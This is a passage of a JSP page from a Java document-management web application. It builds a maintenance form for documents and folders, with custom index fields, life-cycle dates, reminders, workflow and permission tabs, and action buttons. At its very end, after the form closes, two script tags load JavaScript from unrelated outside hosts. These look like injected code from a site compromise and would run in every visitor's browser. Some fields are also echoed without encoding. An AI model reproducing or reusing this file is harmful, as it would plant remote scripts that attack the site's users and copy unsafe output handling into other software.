    returnURL=request.getContextPath()+"/Home.do";
    }
}else{
  returnURL=maintDmsDocumentForm.getReturnTo();
}
%>

<layout:tabContainer id="tab1">
  <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
  <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
    <layout:tabBar styleClass='<%=showPermissionFlage?"tabBar":"tabBar_no_button"%>'>
      <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true"/>
      <%if (showPermissionFlage){%>
      <layout:tabPane id="permissionTab" title="common.label.tab_permission"/>
      <%}%>
    </layout:tabBar>
  <%} else {%>
<br><html:img src="LayoutSpacer.gif"  width="1" height="17"/><br>
  <%}%>

<!-- Basic Tab DIV -->
<div id="basicTab" class="tabContent">
<table width="100%">
  <!-- Section Header -->
  <%String sectionLabel = "dms.label.doc_info";
    if (!Utility.isEmpty(documentType)) {
      sectionLabel = sectionLabel + "_" + documentType;
    }%>
  <layout:sectionHeader name='<%=sectionLabel%>' />

  <!-- User Defined Field Selection -->
<%
  boolean notHaveDefaultProfileFolder = true;
  if((GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) || GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)){
    if(GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) && Utility.isEmpty(maintDmsDocumentForm.getClearIndexFlag())){
      notHaveDefaultProfileFolder = true;
    }else{
      if(maintDmsDocumentForm.getClearIndex()){
        notHaveDefaultProfileFolder = true;
      }else{
        DmsDocument parentProfileFolder = docRetrivalManager.getClosestHaveDefaultProfileFolder(TextUtility.parseIntegerObj(maintDmsDocumentForm.getParentID()));
        if (!Utility.isEmpty(parentProfileFolder)){
          notHaveDefaultProfileFolder = false;
        }
        /*
        if(notHaveDefaultProfileFolder){
          maintDmsDocumentForm.setUserDefinedFieldID("");
        }
        */
      }


      if(GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE) && maintDmsDocumentForm.getClearIndex()){
        maintDmsDocumentForm.setUserDefinedFieldID("");
      }

      if (!Utility.isEmpty(request.getParameter("userDefinedFieldID")) && !"null".equals(request.getParameter("userDefinedFieldID")) ) {
        maintDmsDocumentForm.setUserDefinedFieldID(request.getParameter("userDefinedFieldID"));
      }
    }

  }
%>
  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.user_defined_index'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <%if ("E".equals(documentType)){%>
        <bean:message key="dms.label.email.archive"/>
        <html:hidden property='userDefinedFieldID' value='<%=userDefinedFieldID%>'/>
      <%}else{%>
        <html:select property='userDefinedFieldID' styleClass="form-style-2-pulldown" onchange='getDetail()'>
          <html:options dbListName='dmsUserDefinedIndexList'/>
        </html:select>
      <%}%>
    </td>
  </tr>
  <%if (!DmsDocument.FOLDER_TYPE.equals(documentType)) {         %>
  <%   //New Document Selection
       if (Utility.isEmpty(maintDmsDocumentForm.getID()) ||
           (GlobalConstant.NAV_MODE_NEW.equals(maintDmsDocumentForm.getNavMode()) && Utility.isEmpty(emailAttachment)) ) {
           if (Utility.isEmpty(emailAttachment)){                          %>
  <tr>
    <td class="formLabelSmallMan"><bean:message key="dms.label.doc_file"/>:&nbsp;</td>
    <td class="formFieldSmall">
    <html:file property="uploadFile" styleClass="form-style-2-textfield" value="<%=maintDmsDocumentForm.getDocumentName()%>" />

    <html:hidden property="documentName"/></td>
  </tr>
      <%    } else {     %>
  <tr>
    <td class="formLabelSmall" width='25%' valign='top'><bean:message key="dms.label.doc_file"/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'>
    <input type=text name="documentName" size="25"><html:hidden property="emailAttachment" value="Y"/>
    <html:hidden property="attachmentIndex"/><html:hidden property="mailServer"/>
    <html:hidden property="loginName"/><html:hidden property="password"/><br>
    <html:standardButton label="dms.label.select_attach_from_email" onClick="return PopupEmailBrowser()"/>
    </td>
  </tr>
      <%    }
         }// End of New Document Selection
         else {%>
  <tr>
    <td class="formLabelSmall"><bean:message key="dms.label.document_name"/>:&nbsp;</td>
    <td class="formFieldSmall" width="450"><html:text property="documentName" styleClass="form-style-2-textfield" maxlength="100" textOnly="true"/></td>
  </tr>
      <%}%>
    <%} //End of Document Section
      else {%>
  <tr>

      <%   //New Folder Selection
       if (Utility.isEmpty(maintDmsDocumentForm.getID())) {%>
    <td class="formLabelSmallMan"><bean:message key='dms.label.document_name'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:text property='documentName' styleClass="form-style-2-textfield" maxlength='100'/>
    </td>
      <%}else{%>
    <td class="<layout:classLabel mandatory='false'/>"><bean:message key='dms.label.document_name'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:text property='documentName' styleClass="form-style-2-textfield" maxlength='100' textOnly="true"/>
    </td>
      <%}%>

  </tr>
     <%}%>
  <tr>
    <%if (Utility.isEmpty(maintDmsDocumentForm.getID())) {%>
      <td class="formLabelSmallMan"><nobr><bean:message key='dms.label.location'/>:&nbsp;</nobr></td>
    <%}else {%>
      <td class="formLabelSmallMan"><nobr><bean:message key='dms.label.location'/>:&nbsp;</nobr></td>
    <%}%>
    <td class="formFieldSmall"><%=request.getAttribute("location")%></td>
  </tr>

  <%if (!DmsDocument.DOCUMENT_LINK.equals(documentType)) {         %>
  <tr>
    <td class="formLabelSmall"><bean:message key='common.label.priority'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_HIGH%>'><bean:message key='common.priority.label_3'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_MEDIUM%>'><bean:message key='common.priority.label_2'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_LOW%>'><bean:message key='common.priority.label_1'/></html:radio>
    </td>
  </tr>
  <tr>
    <%if (DmsDocument.PAPER_DOC_TYPE.equals(documentType)) {         %>
     <td class="formLabelSmallMan"><bean:message key='dms.label.reference_no'/>:&nbsp;</td>
      <td class="formFieldSmall"><%=maintDmsDocumentForm.getReferenceNo()==null?"":maintDmsDocumentForm.getReferenceNo()%></td>

       <html:hidden property='referenceNo' value='<%=maintDmsDocumentForm.getReferenceNo()%>' />

    <%}else{%>
     <td class="formLabelSmall"><bean:message key='dms.label.reference_no'/>:&nbsp;</td>
     <td class="formFieldSmall"><html:text property='referenceNo' styleClass="form-style-2-textfield" maxlength='30'/></td>
    <%}%>



  </tr>
  <%}%>
  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.description'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:magicTextbox name='description' svalue='<%=maintDmsDocumentForm.getDescription()%>' boxStyleClass='form-style-2-textfield' areaStyleClass='form-style-2-textarea' maxlength="2000" /></td>
  </tr>

  <!-- Common Index Start -->
  <dms:commonIndex id='setting'>
  <bean:define id='mandatoryFlag' name='setting' property='mandatoryFlag' type='java.lang.String'/>
  <bean:define id='fieldType' name='setting' property='fieldType' type='java.lang.String'/>
  <%
    String styleClass = "form-style-2-textfield";
    if(DmsDefaultProfileSetting.FIELD_TYPE_DATE.equals(fieldType)){
        styleClass = "form-style-2-textfield-day";
    }else if(DmsDefaultProfileSetting.FIELD_TYPE_SELECT_DATABASE.equals(fieldType)){
        styleClass = "form-style-2-pulldown";
    }
  %>
  <tr>
    <td class="<%if(GlobalConstant.TRUE.equals(mandatoryFlag)){%>formLabelSmallMan<%}else{%>formLabelSmall<%}%> "><dms:commonIndexName/>:&nbsp;</td>
    <td class="formFieldSmall"><dms:commonIndexValue styleClass="<%=styleClass%>"/></td>
  </tr>
  </dms:commonIndex>
  <!-- Common Index End -->

  <!-- UDF for Document -->
  <% if (!Utility.isEmpty(udfDetailList))  {%>
      <input type="hidden" name="fieldID" value=""/>
      <input type="hidden" name="fieldName" value=""/>
      <input type="hidden" name="fieldType" value=""/>
      <input type="hidden" name="fieldMandatory" value=""/>
  <%
        SysUserDefinedIndexDetail udfDetail = null;
        String classType = "";
        for ( int i=0; i< udfDetailList.size(); i ++) {
          udfDetail = (SysUserDefinedIndexDetail) udfDetailList.get(i);

          if ("Y".equals(udfDetail.getMandatory())) {
            classType = "formLabelSmallMan";
          }else{
            classType = "formLabelSmall";
          }

         String fieldValue = "";
         Timestamp realDateValue = null;
         for ( int j=0; j< docDetailList.size(); j ++){
             if (udfDetail.getID().equals(((DmsDocumentDetail)docDetailList.get(j)).getUserDefinedFieldDetailID())){
                if (SysUserDefinedIndexDetail.DATE_FIELD.equals(udfDetail.getFieldType())) {
                  fieldValue=TextUtility.formatTimestampToDate(((DmsDocumentDetail) docDetailList.get(j)).getDateValue());
                  realDateValue=((DmsDocumentDetail) docDetailList.get(j)).getDateValue();

                }else if (SysUserDefinedIndexDetail.NUMBER_FIELD.equals(udfDetail.getFieldType())) {
                  if (((DmsDocumentDetail)docDetailList.get(j)).getNumericValue() !=null ) {
                    fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getNumericValue().toString();
                    if (!Utility.isEmpty(fieldValue) && fieldValue.indexOf(".0")==fieldValue.length()-2){
                      fieldValue = fieldValue.substring(0,fieldValue.indexOf(".0"));
                    }
                  }
                }else{
                  fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getFieldValue();
                }
                //joan.xiong add code for bug EIP-1346 by 2007/01/05
                if(udfDetail.getID().toString().equals("-1") && !Utility.isEmpty(fieldValue)&& fieldValue.indexOf(".")>-1){
                    fieldValue = fieldValue.substring(0,fieldValue.indexOf("."));
                }
                //joan.xiong add code end
                break;
             }
         }
         if (!Utility.isEmpty(udfDetail.getFieldName())) {
           fieldValue = TextUtility.htmlEncode(fieldValue);         %>
    <tr>
      <input type="hidden" name="udfDetailID_<%= udfDetail.getID() %>">
      <input type="hidden" name="udfDetail_FieldType_<%= udfDetail.getFieldType() %>" >
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
            <%//Code Update By Jim.Zhou             2006/06/08      Bug #5527%>
      <td class="<%= classType %>" width='25%' valign='top' style="word-break: break-all"><%=udfDetail.getFieldName()%>:&nbsp;</td>
            <%//Code Update End%>

      <!--Cater for UDF Field Validation and Verification-->
      <input type="hidden" name="fieldID" value="<%=udfDetail.getID()%>"/>
      <input type="hidden" name="fieldName" value="<%=udfDetail.getFieldName()%>"/>
      <input type="hidden" name="fieldType" value="<%=udfDetail.getFieldType()%>"/>
      <%if ("Y".equals(udfDetail.getMandatory())) {%>
      <input type="hidden" name="fieldMandatory" value="true"/>
      <%}else{%>
      <input type="hidden" name="fieldMandatory" value="false"/>
      <%}%>

    <%}else{%>
            <%//Code Update By Jim.Zhou             2006/06/08      Bug #5527%>
      <td class="formLabelSmall" width='25%' valign='top' style="word-break: break-all"><%=udfDetail.getFieldName()%>:&nbsp;</td>
            <%//Code Update End%>
    <%}%>
      <td class="formFieldSmall" width='75%'>
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <%
      String dateFormat = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT);
      if (SysUserDefinedIndexDetail.DATE_FIELD.equals(udfDetail.getFieldType())) {%>
      <% datePickerCount++; %>
            <%
                /*
                 *  Update Code Start
                 *  Author              Jim.Zhou
                 *  Date                    2006/04/13
                 *  Bug                     #4786
                 */
            %>
        <input type="text" name="dummy_udfDetail_Date_<%= udfDetail.getID() %>" class="form-style-2-textfield-day" value="<%=fieldValue%>"  onblur="return (fcheck_date(this, '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).toLowerCase()%>'));"><a href="javascript:void(0);" onmouseover="if (timeoutId) clearTimeout(timeoutId);window.status='Show Calendar';return true;" onclick="gfPop.fPopCalendar(dummy_dp_temp<%=datePickerCount%>,dp_temp<%=datePickerCount%>,depRange,false,'<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).toLowerCase()%>',true,false);"><html:img src='IconCalendar.gif'  imageName='imgCalendar_dummy_udfDetail_Date_<%=udfDetail.getID()%>' align='absmiddle' width='34' height='21' border='0' alt='' /></a>
        <input type="hidden" name="udfDetail_Date_<%=udfDetail.getID()%>" value="<%=realDateValue%>">
        <script>
            var dp_temp<%=datePickerCount%>=document.maintDmsDocumentForm.elements["udfDetail_Date_<%=udfDetail.getID()%>"];
            var dummy_dp_temp<%=datePickerCount%>=document.maintDmsDocumentForm.elements["dummy_udfDetail_Date_<%=udfDetail.getID()%>"];
        </script>
            <%
                /*
                 *  Update Code End
                 */
            %>
      <% } else if (SysUserDefinedIndexDetail.NUMBER_FIELD.equals(udfDetail.getFieldType()))  { %>
      <input type="text" name="udfDetail_Number_<%= udfDetail.getID() %>" class="form-style-2-textfield" value="<%= fieldValue %>">
      <% } else if (SysUserDefinedIndexDetail.STRING_FIELD.equals(udfDetail.getFieldType()))  { %>
                <%//joan.xiong update code for bug EIP-835 by 2006/11/13
                //if (udfDetail.getValueSuggest().equals("Y")) {
                if (!Utility.isEmpty(udfDetail.getValueSuggest()) && udfDetail.getValueSuggest().equals("Y")) {
                //joan.xiong update code end
                %>
                    <%
                        String parameter = "UDFD_ID:" + udfDetail.getID();
                    %>
                    <html:autoComplete name='<%="udfDetail_String_"+udfDetail.getID()%>' styleClass="form-style-2-textfield" boxType="<%=AutoCompleteInputBoxManagerFactory.BOX_TYPE_INDEX_VALUE%>" value="<%=fieldValue%>"  maxlength="100" parameter="<%=parameter%>"/>
                <%} else {%>
            <input type="text" name="udfDetail_String_<%= udfDetail.getID() %>" class="form-style-2-textfield" value="<%=fieldValue%>" maxlength="255">
                <%}%>

      <%} else if (SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE.equals(udfDetail.getFieldType())) {%>
        <%String[] valueAry = new com.dcivision.dms.core.DocumentOperationManager(sessionContainer, conn).getUDFOptionStringArray(udfDetail);%>
        <%if (!Utility.isEmpty(valueAry)){ %>
        <select name="udfDetail_SDB_<%= udfDetail.getID() %>" class="form-style-2-pulldown" >
        <%for (int x=0; x<valueAry.length; x++){
           String selected = "";
           if (TextUtility.htmlEncode(valueAry[x]).equals(fieldValue)){
              selected = "selected";
           }
           String value=valueAry[x];
           if (x==0) { value = "";}%>
        <option value="<%=value%>" <%=selected%>><%=valueAry[x]%>
        <%}%>
        </select>
        <%}%>
      <% } else {%>
        <%@include file="CustUserDefinedType.jsp" %>
      <%}%>
    <%}else{%>
      <%=fieldValue%>
    <%}%>
      </td>
    </tr>
      <%}%>

    <%}%>
  <%}%>

<%if (!DmsOperationConstant.DMS_PERSONAL_ROOT.equals(personalName)){%>
  <!-- Comment items for both persoanl document,folder and lite version -->
  <%if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode) || (DmsDocument.DOCUMENT_LINK.equals(documentType))||
    (isLightVersion) || DmsDocument.FOLDER_TYPE.equals(documentType)){%>
    <html:hidden property='effectiveStartDate'/>
    <html:hidden property='effectiveEndDate'/>
  <%} else {%>
    <tr>
      <td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='8'/></td>
    </tr>
    <layout:sectionHeader name='dms.label.document_life_cycle' mandatory='false'/>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='dms.label.effective_start_date'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:datepicker property='effectiveStartDate' defaultToday='true' styleClass="form-style-2-textfield-day"/></td>
    </tr>

    <tr>
      <td class="formLabelSmall"><bean:message key='dms.label.effective_end_date'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:datepicker property='effectiveEndDate' styleClass="form-style-2-textfield-day"/></td>
    </tr>

    <tr>
      <td class="formLabelSmall"><bean:message key='alert.label.reminders'/>:&nbsp;</td>
      <td class="formFieldSmall">
      <html:select property="reminderType" styleClass="form-style-2-pulldown">
        <html:options listName='reminderAmount'/>
      </html:select>
      </td>
    </tr>
    <tr>
      <td class="formLabelSmall"><bean:message key='alert.label.notification_ways'/>:&nbsp;</td>
      <td class="formFieldSmall">
    <%if(supportEmail){%>
        <html:checkbox property='notificationWay' value="<%=UpdateAlert.EMAIL_NOTIFICATION%>"/><bean:message key='alert.label.notification_E'/>&nbsp;
    <%}%>
        <html:checkbox property='notificationWay' value="<%=UpdateAlert.SYSTEM_NOTIFICATION%>"/><bean:message key='alert.label.notification_S'/>
      </td>
    </tr>
  <%}%>
 <%}%>

<%
String workflowRecordID=request.getParameter("workflowRecordID");
boolean isShowWorkflowPage=false;
if(Utility.isEmpty(workflowRecordID)){
  /*The workflowRecord is empty when the request is come form "dms".*/
  
  //Check the before workflow infomation page display status.
  if(!Utility.isEmpty(request.getAttribute("isShowWorkflowPage"))){
	isShowWorkflowPage=(Boolean.valueOf((request.getAttribute("isShowWorkflowPage")).toString())).booleanValue();
  }else{
    isShowWorkflowPage=true;
  }
}else{
  /*The workflowRecord isn't empty when the request is come form "workflow".*/
  
  //Get the current workflow record ID.
  workflowRecordID=workflowRecordID.substring(0,workflowRecordID.indexOf("|"));
  WorkflowRecordDAObject wfRecordDAO = new WorkflowRecordDAObject(sessionContainer, conn);
  //Check the curren user whether have permission for this workflow.
  isShowWorkflowPage=wfRecordDAO.checkPermissionByWorkflowRecordIDUserRecordID(Integer.valueOf(workflowRecordID),sessionContainer.getUserRecordID(),PermissionManager.EXECUTE_PERMISSION);
%>
  <html:hidden property='isShowWorkflowPage' value='<%=Boolean.toString(isShowWorkflowPage)%>'/>
<%
}
// update by beyond for EIP-1988

if (SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(rootFolderType) && DmsDocument.DOCUMENT_TYPE.equals(documentType) &&
      !GlobalConstant.NAV_MODE_EDIT.equals(maintDmsDocumentForm.getNavMode()) && !GlobalConstant.OP_MODE_UPDATE.equals(maintDmsDocumentForm.getOpMode()) &&
      !GlobalConstant.OP_MODE_UPDATE_NEW.equals(maintDmsDocumentForm.getOpMode()) && !DmsOperationConstant.LIST_COMPOUND_DOCUMENT.equals(maintDmsDocumentForm.getParentModule())
      && !DmsOperationConstant.LIST_PAPER_DOCUMENT.equals(maintDmsDocumentForm.getParentModule())&& isShowWorkflowPage) {%>
<%pageContext.setAttribute("sysWorkflowCategoryID", com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PUBLIC_DOCUMENT);%>
<%@include file="../workflow/IncludeWorkflowPage.jsp" %>
<%}%>

    <tr>
      <td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='8'/></td>
    </tr>

  <tr>
    <td colspan="2"><layout:auditTrail/>  <!--TODO: Document Owner Handling--><html:hidden property='ownerID'/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
</table>
</div>
<!-- End Basic Tab DIV -->

<!-- Permission Tab DIV-->
<%if (showPermissionFlage){%>
<%!String permType = "RFIAENTCMDHZVLUSB";%>
<script language="Javascript">
<!--
// Permission Labels
var permLabel = new Array();
<%for (int i = 0; i < permType.length(); i++) {
    String beanMsg = "dms.label.permission_" + permType.charAt(i);
%>permLabel['<%=permType.charAt(i)%>'] = "<bean:message key='<%=beanMsg%>'/>";
<%}%>
//-->
</script>
<div id="permissionTab" class="tabContent">
<br>
    <table width="100%" cellpadding="2" cellspacing="2" border="0">
    <layout:sectionHeader name='setup.label.permission' mandatory='false' blackLine='false'/>
    <tr><td>
        <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr><td nowrap valign="top">
            <layout:permissionSetup permissionType='<%=permType%>' labelPrefix='dms.label.permission_' enableInherit='true' documentType='<%=documentType%>'/>
        </td></tr>
        </table><br>
    </td></tr>
    </table>
</div>
<%}%>
<!-- End Permission Tab DIV-->

<%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
  <script language="javascript">
  <!--
    hideBlock("basicTab");
    setShowHide("basicTab");
  -->
  </script>  
<%}%>
</layout:tabContainer>

<div id="bottomButtonArea">
    <div id="buttonSection">
<%if (!GlobalConstant.RECORD_STATUS_PENDING.equals(maintDmsDocumentForm.getRecordStatus())) {%>
    <!-- The Buttons for Actions Handling -->
        <%
          String curFunctionCode=Utility.isEmpty(maintDmsDocumentForm.getCurFunctionCode())?"":("&curFunctionCode="+maintDmsDocumentForm.getCurFunctionCode());
          pageContext.setAttribute("curFunctionCode", curFunctionCode);
        %>
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
        <html:standardButton label="common.label.save" onClick="return OpSelfSave()"/>
        <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE) && !"true".equals(editIndexFlag)) {%>
        <html:standardButton label="common.label.more" onClick="return OpSelfSaveAndNew()"/>
        <%}%>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintDmsDocumentForm.getOpMode())) {%>
      <%if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode) || (personalRootID.toString().equals(rootID.toString()))){%>
        <%String tempReturnTo =java.net.URLEncoder.encode(maintDmsDocumentForm.getReturnTo());%>
        <html:standardButton label="common.label.edit" link='<%="MaintDmsDocument.do?navMode=E&ID=${maintDmsDocumentForm.ID}&parentID=${maintDmsDocumentForm.parentID}&editIndexFlag=true&returnTo="+tempReturnTo+"&rootID=${maintDmsDocumentForm.rootID}${curFunctionCode}"%>'/>
        <%if(DmsDocument.FOLDER_TYPE.equals(documentType)){%>
            <html:standardButton label="dms.label.new_folder" link='<%="MaintDmsDocument.do?documentType=Z&parentID=${maintDmsDocumentForm.ID}&rootID=${maintDmsDocumentForm.rootID}&returnTo="+tempReturnTo+"${curFunctionCode}"%>'/>
        <%}%>
        <%if(!DmsDocument.DOCUMENT_TYPE.equals(documentType)){%>
            <html:standardButton label="dms.label.new_document" link='<%="MaintDmsDocument.do?documentType=D&parentID=${maintDmsDocumentForm.ID}&rootID=${maintDmsDocumentForm.rootID}&returnTo="+tempReturnTo+"${curFunctionCode}"%>'/>
        <%}%>
        <%if(GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(documentType)){%>
            <% String actionString = "return popupInvitation('"+docID+"',null,'false')" ; %>
            <html:standardButton label="dms.label.invitation" onClick='<%=actionString%>'/>
        <%}%>
    <%}else{%>
    <%
       String tempReturnTo =java.net.URLEncoder.encode(maintDmsDocumentForm.getReturnTo());
    %>
        <html:permissionButton label="common.label.edit" right='E' objectType='D' objectID='<%=TextUtility.parseIntegerObj(maintDmsDocumentForm.getID())%>' link='<%="MaintDmsDocument.do?navMode=E&ID=${maintDmsDocumentForm.ID}&parentID=${maintDmsDocumentForm.parentID}&editIndexFlag=true&returnTo="+tempReturnTo+"&rootID=${maintDmsDocumentForm.rootID}${curFunctionCode}"%>'/>
    <%if(DmsDocument.FOLDER_TYPE.equals(documentType)){%>
          <html:permissionButton label="dms.label.new_folder" right='F' objectType='D' objectID='<%=TextUtility.parseIntegerObj(maintDmsDocumentForm.getID())%>' link='<%="MaintDmsDocument.do?documentType=Z&parentID=${maintDmsDocumentForm.ID}&rootID=${maintDmsDocumentForm.rootID}&returnTo="+tempReturnTo+"${curFunctionCode}"%>'/>
          <%}%>
          <%if(!DmsDocument.DOCUMENT_TYPE.equals(documentType)){%>
          <html:permissionButton label="dms.label.new_document" right='I' objectType='D' objectID='<%=TextUtility.parseIntegerObj(maintDmsDocumentForm.getID())%>' link='<%="MaintDmsDocument.do?documentType=D&parentID=${maintDmsDocumentForm.ID}&rootID=${maintDmsDocumentForm.rootID}&returnTo="+tempReturnTo+"${curFunctionCode}"%>'/>
          <%}%>

    <%if(GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(documentType)){%>
    <% String actionString = "return popupInvitation('"+docID+"',null,'false')" ; %>
    <html:permissionButton label="dms.label.invitation" right='V' objectType='D' objectID='<%=TextUtility.parseIntegerObj(maintDmsDocumentForm.getID())%>' onClick='<%=actionString%>'/>
    <html:permissionButton label="dms.label.set_alert" right='A' objectType='D' objectID='<%=TextUtility.parseIntegerObj(maintDmsDocumentForm.getID())%>' link='<%="MaintDmsUpdateAlert.do?alertType="+UpdateAlert.ALERT_TYPE+"&documentType="+documentType+"&objectID="+docID+"&parentID="+parentID+"&returnTo="+tempReturnTo+"&rootID="+rootID+"&curFunctionCode="+sCurFunctionCode+"&permission=RFIAENTCMDHZVLUSB"%>'/>
    <html:permissionButton label="dms.label.discussion" right='U' objectType='D' objectID='<%=TextUtility.parseIntegerObj(maintDmsDocumentForm.getID())%>' link='<%="ListDmsForum.do?alertType="+UpdateAlert.INVITE_TYPE+"&documentType="+documentType+"&objectID="+docID+"&parentID="+parentID+"&returnTo="+tempReturnTo+"&rootID="+rootID+"&curFunctionCode="+sCurFunctionCode+"&permission=RFIAENTCMDHZVLUSB"%>'/>
    <%}%>
      <%}%>
    <%}%>
    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
    <%String objType = "D";
      Integer objID = docID;
      if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode)) {
        objType = "";
        objID = null;
      }%>
    <%if(!"true".equals(editIndexFlag)){%>
      <html:permissionButton label="common.label.delete" right='D' objectType='<%=objType%>' objectID='<%=objID%>' onClick="return(OpDelete())"/>
    <%}%>

    </logic:equal>
    <%if (request.getAttribute("SHOW_HEADER_FOOTER")!=null){
        if(("N").equals((String)(request.getAttribute("SHOW_HEADER_FOOTER")))){
    %>
    <html:standardButton label="common.label.close" onClick="javascript:window.opener.location.reload();window.close();"/>
    <%  }
      }
    %>
  <%if((GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) || GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)){%>
    <%if(maintDmsDocumentForm.getClearIndex() || (Utility.isEmpty(maintDmsDocumentForm.getClearIndexFlag())&&GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE))){/*joan.xiong update code for bug EIP-1112 by 2006/11/29*/%>
    <%}else{%>
    <%}%>
  <%}%>
<%}%>
    </div>
</div>

<%if (showPermissionFlage){%>
<script language="Javascript">
<!--
initVariable(document.maintDmsDocumentForm);
//-->
</script>
<%}%>

<%}catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
    }%>
</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>